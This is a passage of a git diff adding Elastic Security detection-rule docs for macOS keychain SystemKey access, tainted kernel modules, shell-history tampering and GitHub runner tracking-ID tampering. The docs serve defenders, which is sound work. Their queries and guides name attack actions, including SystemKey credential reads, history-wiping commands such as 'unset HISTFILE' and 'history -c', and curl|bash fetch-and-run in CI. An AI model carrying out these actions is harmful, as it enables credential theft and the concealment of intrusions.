+[[prebuilt-rule-8-19-34-systemkey-access-via-command-line]] +=== SystemKey Access via Command Line + +Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features, including Wi-Fi and website passwords, secure notes, certificates, and Kerberos. Adversaries may collect the keychain storage data from a system to acquire credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/AlessandroZ/LaZagne/blob/master/Mac/lazagne/softwares/system/chainbreaker.py + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SystemKey Access via Command Line* + + +macOS keychains securely store user credentials, including passwords and certificates. Adversaries may exploit command-line access to extract keychain data, gaining unauthorized credentials. The detection rule identifies suspicious process activities targeting SystemKey paths, excluding legitimate security processes, to flag potential credential theft attempts. + + +*Possible investigation steps* + + +- Review the process details to identify the executable that attempted to access the SystemKey paths, focusing on the process.args field to confirm the presence of "/private/var/db/SystemKey" or "/var/db/SystemKey". +- Investigate the parent process using process.Ext.effective_parent.executable to determine if the process chain is suspicious or if it might be a legitimate process that was not excluded by the rule. +- Check the timestamp of the event to correlate with other system activities or user actions that might explain the access attempt. +- Analyze the user account associated with the process to determine if it aligns with expected behavior or if it might indicate a compromised account. +- Review recent system logs and security alerts for any other unusual activities or patterns that might suggest a broader compromise or targeted attack. +- If possible, conduct a forensic analysis of the system to identify any unauthorized changes or additional indicators of compromise related to credential theft. + + +*False positive analysis* + + +- Security software updates or scans may trigger the rule by accessing SystemKey paths. Users can create exceptions for known security applications that frequently access these paths, ensuring they are not flagged as threats. +- System maintenance scripts or backup processes might access SystemKey paths as part of routine operations. Identify these processes and add them to an exclusion list to prevent false alerts. +- Administrative tools used by IT departments for legitimate credential management could be mistakenly flagged. Verify these tools and configure the rule to exclude them from detection. +- Custom scripts developed for internal use that interact with keychain data should be reviewed and, if deemed safe, added to the list of exceptions to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule that are accessing the SystemKey paths, ensuring no further credential extraction occurs. +- Conduct a thorough review of the system's keychain access logs to identify any unauthorized access attempts and determine the scope of the compromise. +- Change all credentials stored in the keychain that may have been accessed, including Wi-Fi passwords, website credentials, and any other sensitive information. +- Restore the system from a known good backup if unauthorized changes or persistent threats are detected, ensuring the system is free from compromise. +- Implement additional monitoring on the affected system and similar endpoints to detect any further attempts to access keychain data, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations team for further investigation and to assess the need for broader organizational response measures, such as notifying affected users or stakeholders. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.args in ("/private/var/db/SystemKey", "/var/db/SystemKey") and + not process.Ext.effective_parent.executable like "/Library/Elastic/Endpoint/elastic-endpoint.app/Contents/MacOS/elastic-endpoint" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Keychain +** ID: T1555.001 +** Reference URL: https://attack.mitre.org/techniques/T1555/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-tainted-kernel-module-load.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-tainted-kernel-module-load.asciidoc new file mode 100644 index 0000000000..e75b920a6e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-tainted-kernel-module-load.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-tainted-kernel-module-load]] +=== Tainted Kernel Module Load + +This rule monitors the syslog log file for messages related to instances of a tainted kernel module load. Rootkits often leverage kernel modules as their main defense evasion technique. Detecting tainted kernel module loads is crucial for ensuring system security and integrity, as malicious or unauthorized modules can compromise the kernel and lead to system vulnerabilities or unauthorized access. + +*Rule type*: query + +*Rule indices*: + +* logs-system.syslog-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Linux + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Tainted Kernel Module Load* + + +Kernel modules extend the functionality of the Linux kernel, allowing dynamic loading of code. While beneficial, they can be exploited by adversaries to introduce malicious code, bypassing security measures. Attackers may load unsigned or improperly signed modules, leading to a "tainted" kernel state. The detection rule identifies such events by monitoring syslog for specific error messages, signaling potential unauthorized module loads, thus aiding in early threat detection and system integrity maintenance. + + +*Possible investigation steps* + + +- Review the syslog entries around the time of the alert to gather additional context and identify any other suspicious activities or related events. +- Investigate the specific kernel module mentioned in the syslog message to determine its origin, legitimacy, and whether it is expected on the system. +- Check the system for any recent changes or installations that could have introduced the unsigned or improperly signed module, including software updates or new applications. +- Analyze the system for signs of compromise, such as unexpected network connections, unusual process activity, or unauthorized user accounts, which may indicate a broader security incident. +- Consult with system administrators or relevant personnel to verify if the module load was authorized or part of a legitimate operation, and document any findings or justifications provided. + + +*False positive analysis* + + +- Custom kernel modules: Organizations often use custom or proprietary kernel modules that may not be signed. These can trigger false positives. To manage this, maintain a list of known, trusted custom modules and create exceptions for them in the monitoring system. +- Outdated or unsupported hardware drivers: Some older hardware drivers may not have signed modules, leading to false positives. Regularly update drivers and, if necessary, exclude specific drivers that are known to be safe but unsigned. +- Development and testing environments: In environments where kernel module development occurs, unsigned modules may be loaded frequently. Implement separate monitoring rules or exceptions for these environments to avoid unnecessary alerts. +- Vendor-provided modules: Certain vendors may provide modules that are not signed. Verify the legitimacy of these modules with the vendor and consider excluding them if they are confirmed to be safe. +- Temporary testing modules: During troubleshooting or testing, temporary modules might be loaded without proper signing. Ensure these are removed after testing and consider temporary exceptions during the testing phase. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Verify the integrity of the kernel and loaded modules by comparing them against known good versions or using a trusted baseline. +- Unload the suspicious kernel module if possible, and replace it with a verified, signed version to restore system integrity. +- Conduct a thorough forensic analysis of the affected system to identify any additional signs of compromise or persistence mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems are affected. +- Implement enhanced monitoring and logging for kernel module loads and other critical system activities to detect similar threats in the future. +- Review and update system and network access controls to ensure only authorized personnel can load kernel modules, reducing the risk of unauthorized changes. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and data_stream.dataset:"system.syslog" and process.name:kernel and +message:"module verification failed: signature and/or required key missing - tainting kernel" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-tainted-out-of-tree-kernel-module-load.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-tainted-out-of-tree-kernel-module-load.asciidoc new file mode 100644 index 0000000000..6b9cfd60e6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-tainted-out-of-tree-kernel-module-load.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-tainted-out-of-tree-kernel-module-load]] +=== Tainted Out-Of-Tree Kernel Module Load + +This rule monitors the syslog log file for messages related to instances of a out-of-tree kernel module load, indicating the taining of the kernel. Rootkits often leverage kernel modules as their main defense evasion technique. Detecting tainted kernel module loads is crucial for ensuring system security and integrity, as malicious or unauthorized modules can compromise the kernel and lead to system vulnerabilities or unauthorized access. + +*Rule type*: query + +*Rule indices*: + +* logs-system.syslog-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Tainted Out-Of-Tree Kernel Module Load* + + +Kernel modules extend the functionality of the Linux kernel without rebooting the system. While beneficial, out-of-tree modules, not included in the official kernel source, can taint the kernel, posing security risks. Adversaries exploit this by loading malicious modules to evade detection and maintain persistence. The detection rule monitors syslog for specific messages indicating such module loads, helping identify potential threats early. + + +*Possible investigation steps* + + +- Review the syslog entries around the time of the alert to gather additional context about the module load event, focusing on messages with "loading out-of-tree module taints kernel." +- Identify the specific out-of-tree kernel module that was loaded by examining the syslog message details and cross-reference with known legitimate modules. +- Check the system for any recent changes or installations that might have introduced the out-of-tree module, such as software updates or new applications. +- Investigate the source and integrity of the module by verifying its origin and comparing its hash against known good or malicious hashes. +- Assess the system for any signs of compromise or unauthorized access, focusing on persistence mechanisms and defense evasion tactics, as indicated by the MITRE ATT&CK framework references. +- Consult with system administrators or relevant stakeholders to determine if the module load was authorized or expected as part of normal operations. + + +*False positive analysis* + + +- Legitimate third-party drivers or hardware support modules may trigger alerts when loaded as out-of-tree modules. Users should verify the source and purpose of these modules to ensure they are not malicious. +- Custom-built modules for specific applications or hardware optimizations can also cause false positives. Users can create exceptions for these modules by adding them to an allowlist if they are verified as safe and necessary for system operations. +- Development and testing environments often load experimental or custom modules that are not part of the official kernel. In such cases, users should document these modules and exclude them from alerts to avoid unnecessary noise. +- Regularly updated or patched modules from trusted vendors might not be immediately recognized as safe. Users should maintain a list of trusted vendors and update their exception lists accordingly to prevent false positives. +- Some security tools or monitoring solutions may use out-of-tree modules for enhanced functionality. Users should ensure these tools are from reputable sources and exclude their modules from detection rules if they are confirmed to be secure. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Identify and unload the suspicious out-of-tree kernel module using the `rmmod` command to remove it from the kernel. +- Conduct a thorough review of the system's kernel module load history and verify the legitimacy of all loaded modules. +- Perform a comprehensive malware scan on the affected system to detect and remove any additional malicious software. +- Restore the system from a known good backup if the integrity of the system cannot be assured after module removal. +- Implement stricter access controls and monitoring for kernel module loading to prevent unauthorized module loads in the future. +- Escalate the incident to the security operations team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and data_stream.dataset:"system.syslog" and process.name:kernel and +message:"loading out-of-tree module taints kernel." + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-tampering-of-shell-command-line-history.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-tampering-of-shell-command-line-history.asciidoc new file mode 100644 index 0000000000..4fc9bf88dd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-tampering-of-shell-command-line-history.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-tampering-of-shell-command-line-history]] +=== Tampering of Shell Command-Line History + +Adversaries may attempt to clear or disable the Bash command-line history in an attempt to evade detection or forensic investigations. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/detecting-log4j2-with-elastic-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Tampering of Shell Command-Line History* + + +Shell command-line history is a crucial feature in Unix-like systems, recording user commands for convenience and auditing. Adversaries may manipulate this history to hide their tracks, using commands to delete or redirect history files, clear history buffers, or disable history logging. The detection rule identifies such tampering by monitoring for suspicious command patterns and arguments indicative of history manipulation attempts. + + +*Possible investigation steps* + + +- Review the process execution details to identify the user account associated with the suspicious command, focusing on the process.args field to determine the specific command and arguments used. +- Check the process execution timeline to correlate the suspicious activity with other events on the system, such as logins or file modifications, to understand the context of the tampering attempt. +- Investigate the command history files (.bash_history, .zsh_history) for the affected user accounts to assess the extent of tampering and identify any commands that may have been executed prior to the history manipulation. +- Examine system logs and audit records for any additional indicators of compromise or related suspicious activities, such as unauthorized access attempts or privilege escalation events. +- Verify the current configuration of the HISTFILE and HISTFILESIZE environment variables for the affected user accounts to ensure they have not been altered to disable history logging. + + +*False positive analysis* + + +- System administrators or automated scripts may clear command-line history as part of routine maintenance or privacy measures. To handle this, identify and whitelist known scripts or user accounts that perform these actions regularly. +- Developers or power users might redirect or unset history files to manage disk space or for personal preference. Consider excluding specific user accounts or directories from monitoring if these actions are verified as non-malicious. +- Security tools or compliance scripts may execute commands that resemble history tampering to ensure systems are in a desired state. Review and exclude these tools from triggering alerts by adding them to an exception list. +- Temporary testing environments or sandboxed systems might frequently clear history as part of their reset processes. Exclude these environments from the rule to prevent unnecessary alerts. +- Users with privacy concerns might intentionally disable history logging. Engage with these users to understand their needs and adjust monitoring policies accordingly, possibly by excluding their sessions from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further tampering or data exfiltration. +- Conduct a thorough review of the affected user's recent command history and system logs to identify any unauthorized or suspicious activities that may have occurred prior to the tampering. +- Restore the tampered history files from a secure backup, if available, to aid in further forensic analysis and ensure continuity of auditing. +- Re-enable and secure shell history logging by resetting the HISTFILE and HISTFILESIZE environment variables to their default values and ensuring they are not set to null or zero. +- Implement stricter access controls and monitoring on the affected system to prevent unauthorized users from modifying shell history files in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may have been compromised. +- Review and update endpoint detection and response (EDR) configurations to enhance monitoring for similar tampering attempts, ensuring alerts are generated for any future suspicious command patterns. + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.action in ("exec", "exec_event", "executed", "process_started") and event.type == "start" and +( + ( + (process.args : ("rm", "echo") or + (process.args : "ln" and process.args : "-sf" and process.args : "/dev/null") or + (process.args : "truncate" and process.args : "-s0") + ) + and process.args : ( + ".bash_history", "/root/.bash_history", "/home/*/.bash_history","/Users/.bash_history", "/Users/*/.bash_history", + ".zsh_history", "/root/.zsh_history", "/home/*/.zsh_history", "/Users/.zsh_history", "/Users/*/.zsh_history" + ) + ) or + (process.args : "history" and process.args : "-c") or + (process.args : "export" and process.args : ("HISTFILE=/dev/null", "HISTFILESIZE=0")) or + (process.args : "unset" and process.args : "HISTFILE") or + (process.args : "set" and process.args : "history" and process.args : "+o") +) and not ( + process.executable like ( + "/usr/bin/timeout", "/usr/bin/kubectl", "/usr/bin/psql", "/usr/lib/postgresql/*/bin/psql", "/usr/bin/bazel", "/usr/bin/git", "/usr/bin/jq", "/bin/grep" + ) or + process.command_line == "stat -c %s history" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Command History +** ID: T1070.003 +** Reference URL: https://attack.mitre.org/techniques/T1070/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-tampering-with-runner-tracking-id-in-github-actions-runners.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-tampering-with-runner-tracking-id-in-github-actions-runners.asciidoc new file mode 100644 index 0000000000..7d30c254b0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-tampering-with-runner-tracking-id-in-github-actions-runners.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-34-tampering-with-runner-tracking-id-in-github-actions-runners]] +=== Tampering with RUNNER_TRACKING_ID in GitHub Actions Runners + +This rule detects processes spawned by GitHub Actions runners where "RUNNER_TRACKING_ID" is overridden from its default "github_*" value. Such tampering has been associated with attempts to evade runner tracking/cleanup on self-hosted runners, including behavior observed in the Shai-Hulud 2.0 npm worm campaign. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://www.praetorian.com/blog/self-hosted-github-runners-are-backdoors/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Tampering with RUNNER_TRACKING_ID in GitHub Actions Runners* + + +This rule surfaces processes launched by GitHub Actions runners where RUNNER_TRACKING_ID is deliberately set to a non-default value. Attackers do this to break runner job tracking and cleanup on self-hosted runners, enabling long‑lived or hidden workloads. A common pattern is a workflow step that exports a custom RUNNER_TRACKING_ID and then spawns bash or node to fetch and execute a script via curl|bash or npm install scripts, keeping the process alive after the job finishes to run mining or exfil tasks. + + +*Possible investigation steps* + + +- Correlate the event to its GitHub Actions run/job and workflow YAML, identify the repository and actor (commit/PR), and verify whether RUNNER_TRACKING_ID was explicitly set in the workflow or injected by a step script. +- On the runner host, determine if the spawned process persisted beyond job completion by checking for orphaning or reparenting to PID 1, sustained CPU/memory usage, and timestamps relative to the runner process exit. +- Review nearby telemetry for fetch-and-execute patterns (curl|bash, wget, node/npm lifecycle scripts), unexpected file writes under /tmp or actions-runner/_work, and outbound connections to non-GitHub endpoints. +- Enumerate persistence artifacts created during the run, including crontab entries, systemd unit files, pm2 or nohup sessions, and changes to authorized_keys or rc.local, and tie them back to the suspicious process. +- Assess blast radius by listing secrets and tokens available to the job, checking audit logs for their subsequent use from the runner IP or unusual repositories, and decide whether to revoke or rotate credentials. + + +*False positive analysis* + + +- A self-hosted runner bootstrap script or base image intentionally sets a fixed RUNNER_TRACKING_ID for internal log correlation or debugging, causing all runner-spawned processes to inherit a non-github_* value. +- A composite action or reusable workflow accidentally overrides RUNNER_TRACKING_ID through env mapping or variable expansion (for example templating it from the run ID), resulting in benign non-default values during standard jobs. + + +*Response and remediation* + + +- Quarantine the self-hosted runner by stopping Runner.Listener, removing the runner from the repository/organization, and terminating any Runner.Worker children or orphaned processes (PID 1) that carry a non-default RUNNER_TRACKING_ID. +- Purge persistence by removing artifacts created during the run, including systemd unit files under /etc/systemd/system, crontab entries in /var/spool/cron, pm2/nohup sessions, edits to ~/.ssh/authorized_keys or /etc/rc.local, and files under /tmp and actions-runner/_work linked to the tampered process. +- Revoke and rotate credentials exposed to the job (GITHUB_TOKEN, personal access tokens, cloud keys), delete leftover containers and caches in actions-runner/_work, invalidate the runner registration, and redeploy the runner from a clean, patched image. +- Escalate to incident response if you observe outbound connections to non-GitHub endpoints, processes persisting after job completion, modifications to ~/.ssh/authorized_keys or /etc/systemd/system, or repeated RUNNER_TRACKING_ID tampering across runners or repositories. +- Harden by restricting self-hosted runners to trusted repositories and actors, enforcing ephemeral per-job runners with egress allowlisting to github.com, setting strict job timeouts, and adding a workflow guard step that exits if RUNNER_TRACKING_ID does not start with github_. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each 